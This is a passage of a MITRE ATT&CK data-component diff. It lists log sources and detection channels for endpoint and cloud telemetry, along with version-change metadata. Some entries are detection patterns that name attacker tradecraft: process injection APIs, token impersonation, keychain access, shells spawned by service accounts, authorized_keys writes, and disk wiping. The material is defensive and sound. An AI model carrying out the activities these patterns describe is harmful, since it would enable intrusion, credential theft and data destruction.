+ }, + { + "name": "macos:unifiedlog", + "channel": "Invocation of SMLoginItemSetEnabled by non-system or recently installed application" + }, + { + "name": "macos:unifiedlog", + "channel": "flock|NSDistributedLock|FileHandle.*lockForWriting" + }, + { + "name": "etw:Microsoft-Windows-Directory-Services-SAM", + "channel": "api_call: Calls to DsAddSidHistory or related RPC operations" + }, + { + "name": "macos:unifiedlog", + "channel": "application logs referencing NSTimer, sleep, or launchd delays" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage" + }, + { + "name": "auditd:SYSCALL", + "channel": "Rules capturing clock_gettime, time, gettimeofday syscalls when enabled" + }, + { + "name": "networkdevice:syslog", + "channel": "Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance" + }, + { + "name": "etw:Microsoft-Windows-RPC", + "channel": "rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes" + }, + { + "name": "NSM:Flow", + "channel": "smb_command: TreeConnectAndX to \\\\*\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "name": "EDR:memory", + "channel": "API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process" + }, + { + "name": "macos:unifiedlog", + "channel": "Access decisions to kTCCServiceCamera for unexpected binaries" + }, + { + "name": "EDR:memory", + "channel": "Objective\u2011C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "mmap, ptrace, process_vm_writev or direct memory ops" + }, + { + "name": "WinEventLog:Application", + "channel": "API call to AddMonitor invoked by non-installer process" + }, + { + "name": "etw:Microsoft-Windows-Win32k", + "channel": "SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage" + }, + { + "name": "auditd:SYSCALL", + "channel": "unshare, mount, keyctl, setns syscalls executed by containerized processes" + }, + { + "name": "macos:unifiedlog", + "channel": "audio APIs" + }, + { + "name": "WinEventLog:Microsoft-Windows-COM/Operational", + "channel": "CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.securityd, com.apple.tccd" + }, + { + "name": "auditd:SYSCALL", + "channel": "send, recv, write: Abnormal interception or alteration of transmitted data" + }, + { + "name": "macos:osquery", + "channel": "CALCULATE: Integrity validation of transmitted data via hash checks" + }, + { + "name": "ETW:Token", + "channel": "token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API Calls" + }, + { + "name": "etw:Microsoft-Windows-DotNETRuntime", + "channel": "AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime" + }, + { + "name": "EDR:memory", + "channel": "VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad" + }, + { + "name": "auditd:MMAP", + "channel": "memory region with RWX permissions allocated" + }, + { + "name": "snmp:trap", + "channel": "management queries" + }, + { + "name": "AWS:CloudTrail", + "channel": "Describe* or List* API calls" + }, + { + "name": "etw:Microsoft-Windows-Win32k", + "channel": "SendMessage, PostMessage, LVM_*" + }, + { + "name": "auditd:SYSCALL", + "channel": "sudo or pkexec invocation" + }, + { + "name": "macos:unifiedlog", + "channel": "authorization execute privilege requests" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "NtQueryInformationProcess" + }, + { + "name": "macos:unifiedlog", + "channel": "ptrace: Processes invoking ptrace with PTRACE_TRACEME flag" + }, + { + "name": "esxi:hostd", + "channel": "Remote access API calls and file uploads" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread" + }, + { + "name": "linux:syslog", + "channel": "Execution of modified binaries or abnormal library load sequences" + }, + { + "name": "macos:unifiedlog", + "channel": "Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools" + }, + { + "name": "macos:unifiedlog", + "channel": "access or unlock attempt to keychain database" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of input detection APIs (e.g., CGEventSourceKeyState)" + }, + { + "name": "auditd:SYSCALL", + "channel": "mount system call with bind or remap flags" + }, + { + "name": "AWS:CloudTrail", + "channel": "Decrypt" + }, + { + "name": "etw:Microsoft-Windows-Kernel-File", + "channel": "ZwSetEaFile or ZwQueryEaFile function calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "fork/clone/daemon syscall tracing" + }, + { + "name": "fs:fsusage", + "channel": "Detached process execution with no associated parent" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, mmap, mprotect, open, dlopen" + }, + { + "name": "ETW:ProcThread", + "channel": "api_call: CreateProcessWithTokenW, CreateProcessAsUserW" + }, + { + "name": "EDR:memory", + "channel": "MemoryWriteToExecutable" + }, + { + "name": "ETW:Token", + "channel": "api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx" + }, + { + "name": "etw:Microsoft-Windows-Security-Auditing", + "channel": "api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API calls" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace, mmap, process_vm_writev" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of dd or sed targeting /proc/*/mem" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx" + }, + { + "name": "ETW", + "channel": "Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses" + }, + { + "name": "EDR:file", + "channel": "SetFileTime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0021\", \"external_id\": \"DC0021\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Base\", \"channel\": \"GetLocaleInfoW, GetTimeZoneInformation API calls\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"GetMetadata, DescribeInstanceIdentity\"}, {\"name\": \"macos:osquery\", \"channel\": \"open, execve: Unexpected processes accessing or modifying critical files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, ioctl\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API tracing / stack tracing via ETW or telemetry-based EDR\"}, {\"name\": \"EDR:memory\", \"channel\": \"Behavioral API telemetry (GetProcAddress, LoadLibrary, VirtualAlloc)\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"aaa privilege_exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"None\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"APCQueueOperations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Invocation of SMLoginItemSetEnabled by non-system or recently installed application\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"flock|NSDistributedLock|FileHandle.*lockForWriting\"}, {\"name\": \"etw:Microsoft-Windows-Directory-Services-SAM\", \"channel\": \"api_call: Calls to DsAddSidHistory or related RPC operations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"application logs referencing NSTimer, sleep, or launchd delays\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"High-frequency or suspicious sequence of QueryPerformanceCounter/GetTickCount API calls from a non-standard process lineage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Rules capturing clock_gettime, time, gettimeofday syscalls when enabled\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Unexpected reload, crashinfo, or boot message not tied to scheduled maintenance\"}, {\"name\": \"etw:Microsoft-Windows-RPC\", \"channel\": \"rpc_call: srvsvc.NetShareEnum / NetShareEnumAll from non-admin or unusual processes\"}, {\"name\": \"NSM:Flow\", \"channel\": \"smb_command: TreeConnectAndX to \\\\\\\\*\\\\IPC$ / srvsvc or Trans2/NT_CREATE for listing shares\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656\"}, {\"name\": \"EDR:memory\", \"channel\": \"API usage MFCreateDeviceSource, IAMStreamConfig, ICaptureGraphBuilder2, DirectShow filter graph creation from uncommon callers\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access decisions to kTCCServiceCamera for unexpected binaries\"}, {\"name\": \"EDR:memory\", \"channel\": \"Objective\\u2011C/Swift calls to AVCaptureDevice/AVCaptureSession by non-whitelisted processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mmap, ptrace, process_vm_writev or direct memory ops\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"API call to AddMonitor invoked by non-installer process\"}, {\"name\": \"etw:Microsoft-Windows-Win32k\", \"channel\": \"SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"unshare, mount, keyctl, setns syscalls executed by containerized processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"audio APIs\"}, {\"name\": \"WinEventLog:Microsoft-Windows-COM/Operational\", \"channel\": \"CLSID activation events where ProcessName=mmc.exe and CLSID not in allowed baseline\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"com.apple.securityd, com.apple.tccd\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"send, recv, write: Abnormal interception or alteration of transmitted data\"}, {\"name\": \"macos:osquery\", \"channel\": \"CALCULATE: Integrity validation of transmitted data via hash checks\"}, {\"name\": \"ETW:Token\", \"channel\": \"token_analysis: API calls such as DuplicateTokenEx or ImpersonateLoggedOnUser\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API Calls\"}, {\"name\": \"etw:Microsoft-Windows-DotNETRuntime\", \"channel\": \"AssemblyLoad/ModuleLoad (Loader keyword) from Microsoft-Windows-DotNETRuntime\"}, {\"name\": \"EDR:memory\", \"channel\": \"VirtualAlloc/VirtualProtect/MapViewOfFile indicators via stack/heap activity and ImageLoad\"}, {\"name\": \"auditd:MMAP\", \"channel\": \"memory region with RWX permissions allocated\"}, {\"name\": \"snmp:trap\", \"channel\": \"management queries\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Describe* or List* API calls\"}, {\"name\": \"etw:Microsoft-Windows-Win32k\", \"channel\": \"SendMessage, PostMessage, LVM_*\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"sudo or pkexec invocation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authorization execute privilege requests\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"NtQueryInformationProcess\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"ptrace: Processes invoking ptrace with PTRACE_TRACEME flag\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Remote access API calls and file uploads\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread\"}, {\"name\": \"linux:syslog\", \"channel\": \"Execution of modified binaries or abnormal library load sequences\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"access or unlock attempt to keychain database\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of input detection APIs (e.g., CGEventSourceKeyState)\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mount system call with bind or remap flags\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"Decrypt\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-File\", \"channel\": \"ZwSetEaFile or ZwQueryEaFile function calls\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"fork/clone/daemon syscall tracing\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Detached process execution with no associated parent\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, mmap, mprotect, open, dlopen\"}, {\"name\": \"ETW:ProcThread\", \"channel\": \"api_call: CreateProcessWithTokenW, CreateProcessAsUserW\"}, {\"name\": \"EDR:memory\", \"channel\": \"MemoryWriteToExecutable\"}, {\"name\": \"ETW:Token\", \"channel\": \"api_call: DuplicateTokenEx, ImpersonateLoggedOnUser, SetThreadToken\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx\"}, {\"name\": \"etw:Microsoft-Windows-Security-Auditing\", \"channel\": \"api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API calls\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, mmap, process_vm_writev\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of dd or sed targeting /proc/*/mem\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx\"}, {\"name\": \"ETW\", \"channel\": \"Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses\"}, {\"name\": \"EDR:file\", \"channel\": \"SetFileTime\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.999000+00:00\", \"old_value\": \"2025-04-18 15:10:31.145000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 20:47:24.038000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0116", + "external_id": "DC0116" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Permissions Request", + "description": "System prompts triggered when an application requests new or additional permissions", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0116\", \"external_id\": \"DC0116\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"User Interface\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:21.873000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 20:00:08.487000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0114", + "external_id": "DC0114" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Permissions Requests", + "description": "Permissions declared in an application's manifest or property list file", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0114\", \"external_id\": \"DC0114\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Application Vetting\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:21.394000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 19:28:39.339000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0032", + "external_id": "DC0032" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Creation", + "description": "Refers to the event in which a new process (executable) is initialized by an operating system. This can involve parent-child process relationships, process arguments, and environmental variables. Monitoring process creation is crucial for detecting malicious behaviors, such as execution of unauthorized binaries, scripting abuse, or privilege escalation attempts.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - EDRs provide process telemetry, tracking execution flows and arguments.\n- Windows Event Logs:\n - Event ID 4688 (Audit Process Creation): Captures process creation with associated parent process.\n- Sysmon (Windows):\n - Event ID 1 (Process Creation): Provides detailed logging\n- Linux/macOS Monitoring:\n - AuditD (execve syscall): Logs process creation.\n - eBPF/XDP: Used for low-level monitoring of system calls related to process execution.\n - OSQuery: Allows SQL-like queries to track process events (process_events table).\n - Apple Endpoint Security Framework (ESF): Monitors process creation on macOS.\n- Network-Based Monitoring:\n - Zeek (Bro) Logs: Captures network-based process execution related to remote shells.\n - Syslog/OSSEC: Tracks execution of processes on distributed systems.\n- Behavioral SIEM Rules:\n - Monitor process creation for uncommon binaries in user directories.\n - Detect processes with suspicious command-line arguments. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream 'eventMessage contains pubsub or broker'" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "name": "linux:osquery", + "channel": "Execution of binary resolved from $PATH not located in /usr/bin or /bin" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution path inconsistent with baseline PATH directories" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "name": "linux:osquery", + "channel": "process_events" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec" + }, + { + "name": "macos:osquery", + "channel": "processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl with suspicious arguments" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve network tools" + }, + { + "name": "macos:osquery", + "channel": "process_events" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to soffice.bin with suspicious macro execution flags" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts" + }, + { + "name": "macos:osquery", + "channel": "process reading browser configuration paths" + }, + { + "name": "macos:unifiedlog", + "channel": "exec logs" + }, + { + "name": "auditd:EXECVE", + "channel": "execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: Process execution context for loaders calling dlopen/dlsym" + }, + { + "name": "auditd:EXECVE", + "channel": "EXECVE" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of unexpected binaries during user shell startup" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of Terminal.app or shell with non-standard environment setup" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of systemctl or service stop" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of launchctl or pkill" + }, + { + "name": "macos:unifiedlog", + "channel": "process::exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context" + }, + { + "name": "macos:osquery", + "channel": "Execution of non-standard binaries accessing Kerberos APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Electron-based binary spawning shell or script interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "Electron app spawning unexpected child process" + }, + { + "name": "esxi:shell", + "channel": "/root/.ash_history or /etc/init.d/*" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls with high-frequency or known bandwidth-intensive tools" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or spawn calls to proxy tools or torrent clients" + }, + { + "name": "containers:osquery", + "channel": "bandwidth-intensive command execution from within a container namespace" + }, + { + "name": "macos:unifiedlog", + "channel": "process launch" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --info --predicate 'subsystem == \"com.apple.cfprefsd\"'" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security, sqlite3, or unauthorized binaries" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected applications generating outbound DNS queries" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=1" + }, + { + "name": "macos:osquery", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected child process of Safari or Chrome" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks" + }, + { + "name": "macos:unifiedlog", + "channel": "process writes or modifies files in excluded paths" + }, + { + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.mail.* exec.*" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of memory inspection tools (lldb, gdb, osqueryi)" + }, + { + "name": "esxi:vobd", + "channel": "/var/log/vobd.log" + }, + { + "name": "kubernetes:apiserver", + "channel": "kubectl exec or kubelet API calls targeting running pods" + }, + { + "name": "docker:audit", + "channel": "Process execution events within container namespace context" + }, + { + "name": "auditd:SYSCALL", + "channel": "process persists beyond parent shell termination" + }, + { + "name": "macos:unifiedlog", + "channel": "background process persists beyond user logout" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)" + }, + { + "name": "macos:unifiedlog", + "channel": "Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns" + }, + { + "name": "esxi:hostd", + "channel": "process execution across cloud VM" + }, + { + "name": "auditd:EXECVE", + "channel": "systemctl spawning managed processes" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec events where web process starts a shell/tooling" + }, + { + "name": "docker:events", + "channel": "Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container" + }, + { + "name": "macos:unifiedlog", + "channel": "exec of osascript, bash, curl with suspicious parameters" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of discovery commands targeting backup binaries, processes, or config paths" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list" + }, + { + "name": "macos:osquery", + "channel": "process_events OR launchd" + }, + { + "name": "auditd:EXECVE", + "channel": "execve" + }, + { + "name": "macos:osquery", + "channel": "launchd or process_events" + }, + { + "name": "macos:unifiedlog", + "channel": "process and file events via log stream" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of scripts or binaries spawned from browser processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Browser processes launching unexpected interpreters (osascript, bash)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files" + }, + { + "name": "auditd:SYSCALL", + "channel": "EXECVE" + }, + { + "name": "macos:unifiedlog", + "channel": "process:exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of bash, python, or perl processes spawned by browser/email client" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of osascript, bash, or Terminal initiated from Mail.app or Safari" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity." + }, + { + "name": "macos:osquery", + "channel": "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes." + }, + { + "name": "macos:unifiedlog", + "channel": "process activity stream" + }, + { + "name": "auditd:SYSCALL", + "channel": "SYSCALL record where exe contains passwd/userdel/chage and auid != root" + }, + { + "name": "macos:unifiedlog", + "channel": "Post-login execution of unrecognized child process from launchd or loginwindow" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process command line contains base64, -enc, openssl enc -base64" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: arguments contain Base64-like strings" + }, + { + "name": "esxi:shell", + "channel": "commands containing base64, openssl enc -base64, xxd -p" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of process launched via loginwindow session restore" + }, + { + "name": "macos:unifiedlog", + "channel": "process: exec + filewrite: ~/.ssh/authorized_keys" + }, + { + "name": "containerd:runtime", + "channel": "/var/log/containers/*.log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Java apps or other processes with hidden window attributes" + }, + { + "name": "macos:unifiedlog", + "channel": "Process Execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve on code or jetbrains-gateway with remote flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process: code or jetbrains-gateway launching with --tunnel or --remote" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'processImagePath CONTAINS \"curl\" OR \"osascript\"'" + }, + { + "name": "auditd:EXECVE", + "channel": "Execution of dd, shred, wipe targeting block devices" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of sleep or ping command within script interpreted by bash/python" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or socket/connect system calls from processes using crypto libraries" + }, + { + "name": "macos:unifiedlog", + "channel": "Process using AES/RC4 routines unexpectedly" + }, + { + "name": "linux:osquery", + "channel": "execution of known firewall 